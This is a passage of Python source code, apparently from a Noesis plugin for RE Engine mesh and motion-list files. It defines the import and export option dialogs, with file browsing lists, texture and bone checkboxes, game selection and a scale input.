openOptionsDialogImportWindow:\n\t\n\tdef __init__(self, width=dialogOptions.width, height=dialogOptions.height, args={}):\n\t\tglobal dialogOptions\n\t\t\n\t\tself.width = width\n\t\tself.height = height\n\t\tself.args = args\n\t\tself.pak = args.get(\"motlist\") or args.get(\"mesh\")\n\t\tself.isMotlist = args.get(\"isMotlist\")\n\t\tself.path = self.pak.path if self.pak else rapi.getInputName()\n\t\tself.loadItems = [rapi.getLocalFileName(self.path)] if not self.isMotlist else []\n\t\tself.fullLoadItems = [self.path] if not self.isMotlist else []\n\t\tif self.isMotlist: \n\t\t\tif dialogOptions.motDialog and dialogOptions.motDialog.pak:\n\t\t\t\tself.pak = dialogOptions.motDialog.pak\n\t\t\t\tself.path = dialogOptions.motDialog.pak.path\n\t\t\t\tself.loadItems = dialogOptions.motDialog.loadItems\n\t\t\t\tself.fullLoadItems = dialogOptions.motDialog.fullLoadItems\n\t\t\tif self.pak:\n\t\t\t\tself.motItems = [mot.name for mot in self.pak.mots]\n\t\tself.name = rapi.getLocalFileName(self.path)\n\t\tself.localDir = rapi.getDirForFilePath(self.path)\n\t\tdialogOptions.currentDir = dialogOptions.currentDir or self.localDir\n\t\tself.currentDir = dialogOptions.currentDir\n\t\tself.localRoot = findRootDir(self.path)\n\t\tself.baseDir = LoadExtractedDir(sGameName)\n\t\tself.allFiles = []\n\t\tself.pakFiles = []\n\t\tself.subDirs = []\n\t\tself.motItems = []\n\t\tself.loadedMlists = {}\n\t\tself.pakIdx = 0\n\t\tself.baseIdx = -1\n\t\tself.loadIdx = 0\n\t\tself.dirIdx = 0\n\t\tself.gameIdx = 0\n\t\tself.localIdx = 0\n\t\tself.clicker = DoubleClickTimer(name=\"\", idx=0, timer=0)\n\t\tdialogOptions.dialog = self\n\t\tself.isOpen = True\n\t\tself.isCancelled = False\n\t\tif self.isMotlist and dialogOptions.motDialog:\n\t\t\tself.motItems = dialogOptions.motDialog.motItems\n\t\t\n\tdef openMotlistDialogButton(self, noeWnd, controlId, wParam, lParam):\n\t\tif not dialogOptions.motDialog or not dialogOptions.motDialog.isOpen:\n\t\t\tdialogOptions.motDialog = openOptionsDialogImportWindow(None, None, {\"isMotlist\": True})\n\t\t\tself.noeWnd.closeWindow()\n\t\t\t#dialogOptions.motDialog.createMotlistWindow()\n\t\n\tdef clickLoadButton(self):\n\t\tself.isOpen = False\n\t\tif self.isMotlist:\n\t\t\tself.loadedMlists = {}\n\t\t\tbones = self.pak.bones\n\t\t\ttotalFrames = self.pak.totalFrames\n\t\t\tmdlBoneNames = [bone.name for bone in bones]\n\t\t\tfor path in self.fullLoadItems:\n\t\t\t\tif \".motlist.\" in path.lower() and path not in self.loadedMlists and rapi.checkFileExists(path):\n\t\t\t\t\tself.loadedMlists[path] = motlistFile(rapi.loadIntoByteArray(path), path)\n\t\t\t\t\tself.loadedMlists[path].bones = bones\n\t\t\t\t\tself.loadedMlists[path].readBoneHeaders(self.loadItems)\n\t\t\tfor i, motName in enumerate(self.loadItems):\n\t\t\t\tif motName.find(\"[ALL] - \") == 0:\n\t\t\t\t\tfullPath = self.fullLoadItems[i]\n\t\t\t\t\tfor mot in self.loadedMlists[fullPath].mots:\n\t\t\t\t\t\tif mot.name not in self.loadItems:\n\t\t\t\t\t\t\tself.loadItems.append(mot.name)\n\t\t\t\t\t\t\tself.fullLoadItems.append(fullPath)\n\t\tself.noeWnd.closeWindow()\n\t\t\n\tdef openOptionsButtonLoadEntry(self, noeWnd, controlId, wParam, lParam):\n\t\tself.clickLoadButton()\n\t\t\t\n\tdef openOptionsButtonCancel(self, noeWnd, controlId, wParam, lParam):\n\t\tself.isCancelled = True\n\t\tself.isOpen = False\n\t\tself.noeWnd.closeWindow()\n\t\t\n\tdef openOptionsButtonParentDir(self, noeWnd, controlId, wParam, lParam):\n\t\tif self.localIdx == 0: \n\t\t\tself.localRoot = os.path.dirname(self.localRoot)\n\t\telse:\n\t\t\tself.baseDir = os.path.dirname(self.baseDir)\n\t\tself.setDirList()\n\t\tself.setPakList()\n\t\tif self.subDirs:\n\t\t\tself.dirList.selectString(self.subDirs[0])\n\t\t\t\n\tdef pressLoadListUpButton(self, noeWnd, controlId, wParam, lParam):\n\t\tselIdx = self.loadList.getSelectionIndex()\n\t\tif selIdx > 0:\n\t\t\tself.loadItems[selIdx], self.loadItems[selIdx-1], self.fullLoadItems[selIdx], self.fullLoadItems[selIdx-1] = self.loadItems[selIdx-1], self.loadItems[selIdx], self.fullLoadItems[selIdx-1], self.fullLoadItems[selIdx]\n\t\t\tfor item in self.loadItems: self.loadList.removeString(item)\n\t\t\tfor item in self.loadItems: self.loadList.addString(item)\n\t\t\tself.loadList.selectString(self.loadItems[selIdx-1])\n\t\t\t\n\tdef pressLoadListDownButton(self, noeWnd, controlId, wParam, lParam):\n\t\tselIdx = self.loadList.getSelectionIndex()\n\t\tif selIdx != -1 and selIdx < len(self.loadItems)-1:\n\t\t\tself.loadItems[selIdx], self.loadItems[selIdx+1], self.fullLoadItems[selIdx], self.fullLoadItems[selIdx+1] = self.loadItems[selIdx+1], self.loadItems[selIdx], self.fullLoadItems[selIdx+1], self.fullLoadItems[selIdx]\n\t\t\tfor item in self.loadItems: self.loadList.removeString(item)\n\t\t\tfor item in self.loadItems: self.loadList.addString(item)\n\t\t\tself.loadList.selectString(self.loadItems[selIdx+1])\n\t\n\tdef selectBaseListItem(self, noeWnd, controlId, wParam, lParam):\n\t\tself.baseIdx = self.baseList.getSelectionIndex()\n\t\tdialogOptions.baseSkeleton = self.baseList.getStringForIndex(self.baseIdx)\n\t\n\tdef selectMotlistItem(self, noeWnd, controlId, wParam, lParam):\n\t\tself.motIdx = self.motLoadList.getSelectionIndex()\n\t\tif self.clicker.name == \"motList\" and self.motIdx == self.clicker.idx and time.time() - self.clicker.timer < 0.25:\n\t\t\taddedName = self.motLoadList.getStringForIndex(self.motIdx)\n\t\t\tif addedName not in self.loadItems:\n\t\t\t\tself.loadItems.append(addedName)\n\t\t\t\tself.fullLoadItems.append(self.pak.path)\n\t\t\t\tself.loadList.addString(addedName)\n\t\tself.clicker = DoubleClickTimer(name=\"motList\", idx=self.motIdx, timer=time.time())\n\t\n\tdef selectPakListItem(self, noeWnd, controlId, wParam, lParam):\n\t\tself.pakIdx = self.pakList.getSelectionIndex()\n\t\tif self.clicker.name == \"pakList\" and self.pakIdx == self.clicker.idx and time.time() - self.clicker.timer < 0.25:\n\t\t\tpath = dialogOptions.currentDir + \"\\\\\" + self.pakList.getStringForIndex(self.pakIdx)\n\t\t\tif self.pakIdx == 0: #parent directory\n\t\t\t\tif dialogOptions.currentDir[-1:] == \"\\\\\":\n\t\t\t\t\tdialogOptions.currentDir = os.path.dirname(dialogOptions.currentDir)\n\t\t\t\tlastDir = rapi.getLocalFileName(dialogOptions.currentDir)\n\t\t\t\tdialogOptions.currentDir = os.path.dirname(dialogOptions.currentDir)\n\t\t\t\tself.setPakList()\n\t\t\t\tself.pakList.selectString(lastDir)\n\t\t\telif self.pakIdx <= len(self.subDirs):\n\t\t\t\tdialogOptions.currentDir += \"\\\\\" + self.pakList.getStringForIndex(self.pakIdx)\n\t\t\t\tself.setPakList()\n\t\t\telif self.isMotlist:\n\t\t\t\tself.pak = motlistFile(rapi.loadIntoByteArray(path), path)\n\t\t\t\tself.setMotLoadList([mot.name for mot in self.pak.mots]) \n\t\t\telif self.pakList.getStringForIndex(self.pakIdx) not in self.loadItems:\n\t\t\t\tself.loadItems.append(self.pakList.getStringForIndex(self.pakIdx))\n\t\t\t\tself.fullLoadItems.append(path)\n\t\t\t\tself.loadList.addString(self.pakList.getStringForIndex(self.pakIdx))\n\t\t\t\t#self.fullLoadItems = [x for _, x in sorted(zip(self.loadItems, self.fullLoadItems))]\n\t\t\t\t#self.loadItems = sorted(self.loadItems)\n\t\tself.clicker = DoubleClickTimer(name=\"pakList\", idx=self.pakIdx, timer=time.time())\n\t\tself.currentDir = dialogOptions.currentDir\n\t\n\tdef selectLoadListItem(self, noeWnd, controlId, wParam, lParam):\n\t\tself.loadIdx = self.loadList.getSelectionIndex()\n\t\tif self.clicker.name == \"loadList\" and self.loadIdx == self.clicker.idx and time.time() - self.clicker.timer < 0.25 and (self.isMotlist or self.loadItems[self.loadIdx] != self.name):\n\t\t\tself.loadList.removeString(self.loadItems[self.loadIdx])\n\t\t\tdel self.loadItems[self.loadIdx]\n\t\t\tif not self.isMotlist:\n\t\t\t\tdel self.fullLoadItems[self.loadIdx]\n\t\t\tself.loadIdx = self.loadIdx if self.loadIdx < len(self.loadItems) else self.loadIdx - 1\n\t\t\tif abs(self.loadIdx) < len(self.loadItems):\n\t\t\t\tself.loadList.selectString(self.loadItems[self.loadIdx])\n\t\tself.clicker = DoubleClickTimer(name=\"loadList\", idx=self.loadIdx, timer=time.time())\n\t\tself.currentDir = dialogOptions.currentDir\n\t\t\n\tdef selectGameBoxItem(self, noeWnd, controlId, wParam, lParam):\n\t\tglobal sGameName\n\t\tif self.gameIdx != self.gameBox.getSelectionIndex():\n\t\t\tself.gameIdx = self.gameBox.getSelectionIndex()\n\t\t\trestOfPath = dialogOptions.currentDir.replace(self.baseDir, \"\").replace(formats[sGameName][\"nDir\"]+\"\\\\\", \"\")\n\t\t\tsGameName = gamesList[self.gameIdx]\n\t\t\tself.baseDir = LoadExtractedDir(sGameName) #BaseDirectories[sGameName]\n\t\t\tif self.localBox.getStringForIndex(self.localIdx) == \"Base Directory\":\n\t\t\t\tdialogOptions.currentDir = self.baseDir\n\t\t\t\tif restOfPath and os.path.isdir(self.baseDir + restOfPath):\n\t\t\t\t\tdialogOptions.currentDir = self.baseDir + restOfPath\n\t\t\t\tself.setPakList()\n\t\tself.currentDir = dialogOptions.currentDir\n\t\t\t\t\n\tdef selectLocalBoxItem(self, noeWnd, controlId, wParam, lParam):\n\t\tif self.localIdx != self.localBox.getSelectionIndex():\n\t\t\tself.localIdx = self.localBox.getSelectionIndex()\n\t\t\trestOfPath = dialogOptions.currentDir.replace(self.localRoot, \"\").replace(self.baseDir, \"\").replace(formats[sGameName][\"nDir\"]+\"\\\\\", \"\")\n\t\t\tif self.localBox.getStringForIndex(self.localIdx) == \"Base Directory\":\n\t\t\t\tdialogOptions.currentDir = self.baseDir\n\t\t\t\tif restOfPath and os.path.isdir(self.baseDir + restOfPath):\n\t\t\t\t\tdialogOptions.currentDir = self.baseDir + restOfPath\n\t\t\telse:\n\t\t\t\tdialogOptions.currentDir = os.path.dirname(self.path)\n\t\t\t\tif restOfPath and os.path.isdir(self.localRoot + restOfPath):\n\t\t\t\t\tdialogOptions.currentDir = self.localRoot + restOfPath\n\t\t\tself.setPakList()\n\t\tself.currentDir = dialogOptions.currentDir\n\t\t\n\tdef setGameBox(self, list_object=None, current_item=None):\n\t\tfor i, name in enumerate(fullGameNames):\n\t\t\tself.gameBox.addString(name)\n\t\tself.gameBox.selectString(fullGameNames[gamesList.index(sGameName)])\n\t\tself.gameIdx = self.gameBox.getSelectionIndex()\n\t\t\n\tdef setLocalBox(self, list_object=None, current_item=None):\n\t\tfor name in [\"Local Folder\", \"Base Directory\"]:\n\t\t\tself.localBox.addString(name)\n\t\tself.localBox.selectString(\"Local Folder\")\n\t\tself.localIdx = self.localBox.getSelectionIndex()\n\t\n\tdef checkLoadTexCheckbox(self, noeWnd, controlId, wParam, lParam):\n\t\tdialogOptions.doLoadTex = not dialogOptions.doLoadTex\n\t\tself.loadTexCheckbox.setChecked(dialogOptions.doLoadTex)\n\t\t\n\tdef checkLODsCheckbox(self, noeWnd, controlId, wParam, lParam):\n\t\tdialogOptions.doLODs = not dialogOptions.doLODs\n\t\tself.LODsCheckbox.setChecked(dialogOptions.doLODs)\n\t\t\n\tdef checkConvTexCheckbox(self, noeWnd, controlId, wParam, lParam):\n\t\tdialogOptions.doConvertTex = not dialogOptions.doConvertTex\n\t\tself.convTexCheckbox.setChecked(dialogOptions.doConvertTex)\n\t\t\n\tdef checkFlipUVsCheckbox(self, noeWnd, controlId, wParam, lParam):\n\t\tdialogOptions.doFlipUVs = not dialogOptions.doFlipUVs\n\t\tself.flipUVsCheckbox.setChecked(dialogOptions.doFlipUVs)\n\t\t\n\tdef checkLoadAllTexCheckbox(self, noeWnd, controlId, wParam, lParam):\n\t\tdialogOptions.loadAllTextures = not dialogOptions.loadAllTextures\n\t\tself.loadAllTexCheckbox.setChecked(dialogOptions.loadAllTextures)\n\t\t\n\tdef checkReparentCheckbox(self, noeWnd, controlId, wParam, lParam):\n\t\tdialogOptions.reparentHelpers = not dialogOptions.reparentHelpers\n\t\tself.reparentCheckbox.setChecked(dialogOptions.reparentHelpers)\n\t\t\n\tdef checkFCenterCheckbox(self, noeWnd, controlId, wParam, lParam):\n\t\tdialogOptions.doForceCenter = not dialogOptions.doForceCenter\n\t\tself.FCenterCheckbox.setChecked(dialogOptions.doForceCenter)\n\t\t\n\tdef checkSyncCheckbox(self, noeWnd, controlId, wParam, lParam):\n\t\tdialogOptions.doSync = not dialogOptions.doSync\n\t\tself.syncCheckbox.setChecked(dialogOptions.doSync)\n\t\t\n\tdef checkForceMergeCheckbox(self, noeWnd, controlId, wParam, lParam):\n\t\tdialogOptions.doForceMergeAnims = not dialogOptions.doForceMergeAnims\n\t\tself.forceMergeCheckbox.setChecked(dialogOptions.doForceMergeAnims)\n\t\t\n\tdef setMotLoadList(self, motItems=[]):\n\t\tfor name in self.motItems:\n\t\t\tself.motLoadList.removeString(name)\n\t\tself.motItems = []\n\t\tif motItems:\n\t\t\tmotItems.insert(0, \"[ALL] - \" + self.pak.name)\n\t\t\tfor name in motItems:\n\t\t\t\tself.motLoadList.addString(name)\n\t\t\tself.motItems = motItems\n\t\t\tself.motLoadList.selectString(self.motItems[0])\n\t\t\n\tdef setLoadList(self, loadItems=[]):\n\t\tfor item in self.loadItems:\n\t\t\tself.loadList.removeString(item)\n\t\tif loadItems:\n\t\t\tself.loadItems = loadItems\n\t\t\tfor item in self.loadItems:\n\t\t\t\tself.loadList.addString(item)\n\t\t\tself.loadList.selectString(self.loadItems[0])\n\t\telse:\n\t\t\tself.loadItems = [self.name] if not self.isMotlist else []\n\t\t\tif self.loadItems:\n\t\t\t\tself.loadList.addString(self.loadItems[0])\n\t\tself.loadList.selectString((self.pak and self.pak.path) or rapi.getInputName())\n\t\t\n\tdef setPakList(self):\n\t\tfor name in self.allFiles:\n\t\t\tself.pakList.removeString(name)\n\t\tself.allFiles = [\"..\"]\n\t\tself.pakFiles = []\n\t\tself.subDirs = []\n\t\tfmtKey = \"mlistExt\" if self.isMotlist else \"modelExt\"\n\t\texts = [formatTbl[fmtKey] for gameName, formatTbl in formats.items()]\n\t\tfor item in os.listdir(dialogOptions.currentDir):\n\t\t\tif os.path.isdir(os.path.join(dialogOptions.currentDir, item)):\n\t\t\t\tself.subDirs.append(item)\n\t\t\tif os.path.isfile(os.path.join(dialogOptions.currentDir, item)) and \".\" in item and os.path.splitext(item)[1] in exts:\n\t\t\t\tself.pakFiles.append(item)\n\t\tself.subDirs = sorted(self.subDirs)\n\t\tself.pakFiles = sorted(self.pakFiles)\n\t\tself.allFiles.extend(self.subDirs)\n\t\tself.allFiles.extend(self.pakFiles)\n\t\tfor item in self.allFiles:\n\t\t\tself.pakList.addString(item)\n\t\tif self.name in self.allFiles:\n\t\t\tself.pakIdx = self.allFiles.index(self.name)\n\t\t\tself.pakList.selectString(self.name)\n\t\telif self.pak and rapi.getLocalFileName(self.pak.path) in self.allFiles:\n\t\t\tself.pakIdx = self.allFiles.index(rapi.getLocalFileName(self.pak.path))\n\t\t\tself.pakList.selectString(self.pakList.getStringForIndex(self.pakIdx))\n\t\telif self.pakIdx < len(self.allFiles):\n\t\t\tself.pakList.selectString(self.pakList.getStringForIndex(self.pakIdx))\n\t\telse:\n\t\t\tself.pakIdx = 0\n\t\t\tself.pakList.selectString(self.pakList.getStringForIndex(0))\n\t\tself.currentDirEditBox.setText(dialogOptions.currentDir)\n\t\t\n\tdef inputCurrentDirEditBox(self, noeWnd, controlId, wParam, lParam):\n\t\ttext = self.currentDirEditBox.getText().lower()\n\t\tif text != dialogOptions.currentDir.lower() and os.path.exists(text):\n\t\t\tdialogOptions.currentDir = os.path.dirname(text) if os.path.isfile(text) else text\n\t\t\tself.setPakList()\n\t\t\tif os.path.isfile(text):\n\t\t\t\tlowerAllFiles = [name.lower() for name in self.allFiles]\n\t\t\t\tif rapi.getLocalFileName(text) in lowerAllFiles:\n\t\t\t\t\tself.pakList.selectString(self.pakList.getStringForIndex(lowerAllFiles.index(rapi.getLocalFileName(text))))\n\t\t\t\tif self.isMotlist and \".motlist\" in text:\n\t\t\t\t\tself.pak = motlistFile(rapi.loadIntoByteArray(text), text)\n\t\t\t\t\tself.setMotLoadList([mot.name for mot in self.pak.mots]) \n\t\t\t\t\t\n\tdef inputGlobalScaleEditBox(self, noeWnd, controlId, wParam, lParam):\n\t\tglobal fDefaultMeshScale\n\t\ttry:\n\t\t\tif self.globalScaleEditBox.getText():\n\t\t\t\tnewScale = float(self.globalScaleEditBox.getText())\n\t\t\t\tif newScale:\n\t\t\t\t\tfDefaultMeshScale = newScale\n\t\texcept ValueError:\n\t\t\tprint(\"Non-numeric scale input, resetting to \", fDefaultMeshScale)\n\t\t\tself.globalScaleEditBox.setText(str(fDefaultMeshScale))\n\t\t\t\n\tdef create(self, width=dialogOptions.width, height=dialogOptions.height):\n\t\tself.noeWnd = noewin.NoeUserWindow(\"RE Engine '.mesh' Plugin \" + rapi.getLocalFileName(self.name), \"HTRAWWindowClass\", width, height) \n\t\tnoeWindowRect = noewin.getNoesisWindowRect()\n\t\tif noeWindowRect:\n\t\t\twindowMargin = 100\n\t\t\tself.noeWnd.x = noeWindowRect[0] + windowMargin\n\t\t\tself.noeWnd.y = noeWindowRect[1] + windowMargin \n\t\treturn self.noeWnd.createWindow()\n\t\t\n\tdef createMotlistWindow(self, width=dialogOptions.width, height=800):\n\t\t\n\t\tif self.create(width, height):\n\t\t\tself.noeWnd.setFont(\"Futura\", 14)\n\t\t\t\n\t\t\tself.noeWnd.createStatic(\"Motlist files from:\", 5, 5, width-20, 20)\n\t\t\tindex = self.noeWnd.createEditBox(5, 25, width-20, 45, dialogOptions.currentDir, self.inputCurrentDirEditBox) #EB\n\t\t\tself.currentDirEditBox = self.noeWnd.getControlByIndex(index)\n\t\t\t\n\t\t\tindex = self.noeWnd.createListBox(5, 80, width-20, 160, self.selectPakListItem, noewin.LBS_NOTIFY | noewin.WS_VSCROLL | noewin.WS_BORDER) #LB\n\t\t\tself.pakList = self.noeWnd.getControlByIndex(index)\n\t\t\t\n\t\t\tself.noeWnd.createStatic(\"Motions:\", 5, 240, width-20, 20)\n\t\t\tindex = self.noeWnd.createListBox(5, 260, width-20, 200, self.selectMotlistItem, noewin.LBS_NOTIFY | noewin.WS_VSCROLL | noewin.WS_BORDER) #LB\n\t\t\tself.motLoadList = self.noeWnd.getControlByIndex(index)\n\t\t\t\n\t\t\tself.noeWnd.createStatic(\"Motions to load:\", 5, 465, width-20, 20)\n\t\t\tindex = self.noeWnd.createListBox(5, 485, width-40, 150, self.selectLoadListItem, noewin.LBS_NOTIFY | noewin.WS_VSCROLL | noewin.WS_BORDER) #LB\n\t\t\tself.loadList = self.noeWnd.getControlByIndex(index)\n\t\t\t\n\t\t\tself.noeWnd.createButton(\"↑\", width-30, 525, 20, 30, self.pressLoadListUpButton)\n\t\t\tself.noeWnd.createButton(\"↓\", width-30, 565, 20, 30, self.pressLoadListDownButton)\n\t\t\t\n\t\t\tif True:\n\t\t\t\tindex = self.noeWnd.createCheckBox(\"Force Center\", 10, 640, 100, 30, self.checkFCenterCheckbox)\n\t\t\t\tself.FCenterCheckbox = self.noeWnd.getControlByIndex(index)\n\t\t\t\tself.FCenterCheckbox.setChecked(dialogOptions.doForceCenter)\n\t\t\t\t\n\t\t\t\tindex = self.noeWnd.createCheckBox(\"Sync by Frame Count\", 10, 670, 160, 30, self.checkSyncCheckbox)\n\t\t\t\tself.syncCheckbox = self.noeWnd.getControlByIndex(index)\n\t\t\t\tself.syncCheckbox.setChecked(dialogOptions.doSync)\n\t\t\t\t\n\t\t\t\tindex = self.noeWnd.createCheckBox(\"Force Merge All\", 10, 700, 160, 30, self.checkForceMergeCheckbox)\n\t\t\t\tself.forceMergeCheckbox = self.noeWnd.getControlByIndex(index)\n\t\t\t\tself.forceMergeCheckbox.setChecked(dialogOptions.doForceMergeAnims)\n\n\t\t\tself.noeWnd.createStatic(\"Game:\", width-218, 645, 60, 20)\n\t\t\tindex = self.noeWnd.createComboBox(width-170, 645, 150, 20, self.selectGameBoxItem, noewin.CBS_DROPDOWNLIST) #CB\n\t\t\tself.gameBox = self.noeWnd.getControlByIndex(index)\n\t\t\t\n\t\t\tself.noeWnd.createStatic(\"View:\", width-210, 675, 60, 20)\n\t\t\tindex = self.noeWnd.createComboBox(width-170, 675, 150, 20, self.selectLocalBoxItem, noewin.CBS_DROPDOWNLIST) #CB\n\t\t\tself.localBox = self.noeWnd.getControlByIndex(index)\n\t\t\t\n\t\t\tself.noeWnd.createStatic(\"Scale:\", width-215,705, 60, 20)\n\t\t\tindex = self.noeWnd.createEditBox(width-170, 705, 80, 20, str(fDefaultMeshScale), self.inputGlobalScaleEditBox, False) #EB\n\t\t\tself.globalScaleEditBox = self.noeWnd.getControlByIndex(index)\n\t\t\t\n\t\t\tself.noeWnd.createButton(\"Load\" if not self.isMotlist or self.args.get(\"motlist\") else \"OK\", 5, height-70, width-160, 30, self.openOptionsButtonLoadEntry)\n\t\t\tself.noeWnd.createButton(\"Cancel\", width-96, height-70, 80, 30, self.openOptionsButtonCancel)\n\t\t\t\n\t\t\tself.setMotLoadList([mot.name for mot in self.pak.mots] if self.pak else [])\n\t\t\tself.setLoadList(self.loadItems)\n\t\t\tself.setPakList()\n\t\t\tself.setGameBox(self.gameBox)\n\t\t\tself.setLocalBox(self.localBox)\n\t\t\t\n\t\t\tself.noeWnd.doModal()\n\t\n\tdef createMeshWindow(self, width=dialogOptions.width, height=dialogOptions.height):\n\t\t\n\t\tif self.create(width, height):\n\t\t\tself.noeWnd.setFont(\"Futura\", 14)\n\t\t\t\n\t\t\tself.noeWnd.createStatic(\"Mesh files from:\", 5, 5, width-20, 20)\n\t\t\tindex = self.noeWnd.createEditBox(5, 25, width-20, 45, dialogOptions.currentDir, self.inputCurrentDirEditBox) #EB\n\t\t\tself.currentDirEditBox = self.noeWnd.getControlByIndex(index)\n\t\t\t\n\t\t\tindex = self.noeWnd.createListBox(5, 80, width-20, iListboxSize, self.selectPakListItem, noewin.LBS_NOTIFY | noewin.WS_VSCROLL | noewin.WS_BORDER) #LB\n\t\t\tself.pakList = self.noeWnd.getControlByIndex(index)\n\t\t\t\n\t\t\tself.noeWnd.createStatic(\"Files to load:\", 5, iListboxSize+85, width-20, 20)\n\t\t\tindex = self.noeWnd.createListBox(5, iListboxSize+105, width-40, 150, self.selectLoadListItem, noewin.LBS_NOTIFY | noewin.WS_VSCROLL | noewin.WS_BORDER) #LB\n\t\t\tself.loadList = self.noeWnd.getControlByIndex(index)\n\t\t\t\n\t\t\tself.noeWnd.createButton(\"↑\", width-30, iListboxSize+145, 20, 30, self.pressLoadListUpButton)\n\t\t\tself.noeWnd.createButton(\"↓\", width-30, iListboxSize+185, 20, 30, self.pressLoadListDownButton)\n\t\t\t\n\t\t\tif True:\n\t\t\t\tindex = self.noeWnd.createCheckBox(\"Load Textures\", 10, iListboxSize+265, 130, 30, self.checkLoadTexCheckbox)\n\t\t\t\tself.loadTexCheckbox = self.noeWnd.getControlByIndex(index)\n\t\t\t\tself.loadTexCheckbox.setChecked(dialogOptions.doLoadTex)\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tindex = self.noeWnd.createCheckBox(\"Load All Textures\", 150, iListboxSize+265, 160, 30, self.checkLoadAllTexCheckbox)\n\t\t\t\tself.loadAllTexCheckbox = self.noeWnd.getControlByIndex(index)\n\t\t\t\tself.loadAllTexCheckbox.setChecked(dialogOptions.loadAllTextures)\n\t\t\t\t\n\t\t\t\tindex = self.noeWnd.createCheckBox(\"Convert Textures\", 10, iListboxSize+295, 130, 30, self.checkConvTexCheckbox)\n\t\t\t\tself.convTexCheckbox = self.noeWnd.getControlByIndex(index)\n\t\t\t\tself.convTexCheckbox.setChecked(dialogOptions.doConvertTex)\n\t\t\t\t\n\t\t\t\tindex = self.noeWnd.createCheckBox(\"Collapse Bones\", 150, iListboxSize+295, 120, 30, self.checkReparentCheckbox)\n\t\t\t\tself.reparentCheckbox = self.noeWnd.getControlByIndex(index)\n\t\t\t\tself.reparentCheckbox.setChecked(dialogOptions.reparentHelpers)\n\t\t\t\t\n\t\t\t\t'''index = self.noeWnd.createCheckBox(\"Import LODs\", 10, iListboxSize+365, 100, 30, self.checkLODsCheckbox) #TODO\n\t\t\t\tself.LODsCheckbox = self.noeWnd.getControlByIndex(index)\n\t\t\t\tself.LODsCheckbox.setChecked(dialogOptions.doLODs)'''\n\t\t\t\t\n\t\t\t\tself.noeWnd.createButton(\"Select Animations\", 150, iListboxSize+325, 200, 30, self.openMotlistDialogButton)\n\n\t\t\tself.noeWnd.createStatic(\"Game:\", width-248, iListboxSize+270, 60, 20)\n\t\t\tindex = self.noeWnd.createComboBox(width-200, iListboxSize+265, 180, 20, self.selectGameBoxItem, noewin.CBS_DROPDOWNLIST) #CB\n\t\t\tself.gameBox = self.noeWnd.getControlByIndex(index)\n\t\t\t\n\t\t\tself.noeWnd.createStatic(\"View:\", width-240, iListboxSize+300, 60, 20)\n\t\t\tindex = self.noeWnd.createComboBox(width-200, iListboxSize+295, 180, 20, self.selectLocalBoxItem, noewin.CBS_DROPDOWNLIST) #CB\n\t\t\tself.localBox = self.noeWnd.getControlByIndex(index)\n\t\t\t\n\t\t\tself.noeWnd.createStatic(\"Scale:\", width-145, iListboxSize+330, 60, 20)\n\t\t\tindex = self.noeWnd.createEditBox(width-100, iListboxSize+330, 80, 20, str(fDefaultMeshScale), self.inputGlobalScaleEditBox, False) #EB\n\t\t\tself.globalScaleEditBox = self.noeWnd.getControlByIndex(index)\n\t\t\t\n\t\t\tself.noeWnd.createButton(\"Load\", 5, iListboxSize+360, width-160, 30, self.openOptionsButtonLoadEntry)\n\t\t\t\n\t\t\tself.noeWnd.createButton(\"Cancel\", width-96, iListboxSize+360, 80, 30, self.openOptionsButtonCancel)\n\t\t\t\n\t\t\tself.setLoadList(self.loadItems)\n\t\t\tself.setPakList()\n\t\t\tself.setGameBox(self.gameBox)\n\t\t\tself.setLocalBox(self.localBox)\n\t\t\t\n\t\t\tif noesis.optWasInvoked(\"-b\"):\n\t\t\t\tself.clickLoadButton()\n\t\t\t\n\t\t\tself.noeWnd.doModal()\n\t\nclass openOptionsDialogExportWindow:\n\t\n\tdef __init__(self, width, height, args):\n\t\tself.width = width\n\t\tself.height = height\n\t\tself.filepath = args.get(\"filepath\") or \"\"\n\t\tself.texformat = args.get(\"texformat\") or 98\n\t\tself.exportType = args.get(\"exportType\") or os.path.splitext(rapi.getOutputName())[-1]\n\t\tself.sourceList = args.get(\"sourceList\") or getSameExtFilesInDir(self.filepath)\n\t\tself.currentIdx = 0\n\t\tself.doWriteBones = False\n\t\tself.doRewrite = False\n\t\tself.doCancel = True\n\t\tself.failed = False\n\t\tself.doVFX = noesis.optWasInvoked(\"-vfx\")\n\t\tself.indices = []\n\t\tself.LODDist = 0.02667995\n\t\tself.flag = -1\n\t\t\n\tdef openOptionsVFXCheckbox(self, noeWnd, controlId, wParam, lParam):\n\t\tself.doVFX = not self.doVFX\n\t\tself.vfxCheckbox.setChecked(self.doVFX)\n\t\t\n\tdef openOptionsButtonRewrite(self, noeWnd, controlId, wParam, lParam):\n\t\tself.doCancel = False\n\t\tself.doRewrite = True\n\t\tself.noeWnd.closeWindow()\n\t\n\tdef openOptionsButtonExport(self, noeWnd, controlId, wParam, lParam):\n\t\tself.doCancel = False\n\t\tself.noeWnd.closeWindow()\n\t\t\n\tdef openOptionsButtonExportBones(self, noeWnd, controlId, wParam, lParam):\n\t\tself.doCancel = False\n\t\tself.doWriteBones = True\n\t\tself.noeWnd.closeWindow()\n\t\t\n\tdef openOptionsButtonCancel(self, noeWnd, controlId, wParam, lParam):\n\t\tself.noeWnd.closeWindow()\n\t\t\n\tdef openBrowseMenu(self, noeWnd, controlId, wParam, lParam):\n\t\tfilepath = noesis.userPrompt(noesis.NOEUSERVAL_FILEPATH, \"Export over \" + self.exportType.upper(), \"Choose a \" + self.exportType.upper() + \" file to export over\", self.filepath, None)\n\t\tif filepath:\n\t\t\tself.filepath = filepath\n\t\t\t#self.meshFile.setText(self.filepath)\n\t\t\t#if rapi.checkFileExists(filepath):\n\t\t\tself.clearComboBoxList()\n\t\t\tself.sourceList = getSameExtFilesInDir(self.filepath)\n\t\t\tself.setComboBoxList(self.meshFileList, self.filepath)\n\t\t\t\n\tdef openOptionsButtonCancel(self, noeWnd, controlId, wParam, lParam):\n\t\tself.noeWnd.closeWindow()\n\t\n\tdef inputMeshFileEditBox(self, noeWnd, controlId, wParam, lParam):\n\t\tself.meshEditText = self.meshFile.getText()\n\t\tself.meshFile.setText(self.meshEditText)\n\t\tif rapi.checkFileExists(self.meshEditText):\n\t\t\tself.filepath = self.meshEditText\n\t\t\tself.clearComboBoxList()\n\t\t\tself.sourceList = getSameExtFilesInDir(self.filepath)\n\t\t\tself.setComboBoxList(self.meshFileList, self.filepath)\n\t\t\n\tdef inputFlagEditBox(self, noeWnd, controlId, wParam, lParam):\n\t\tif self.FlagBox.getText() != \"\":\n\t\t\tself.flag = int(self.FlagBox.getText())\n\t\t\n\tdef inputLODDistEditBox(self, noeWnd, controlId, 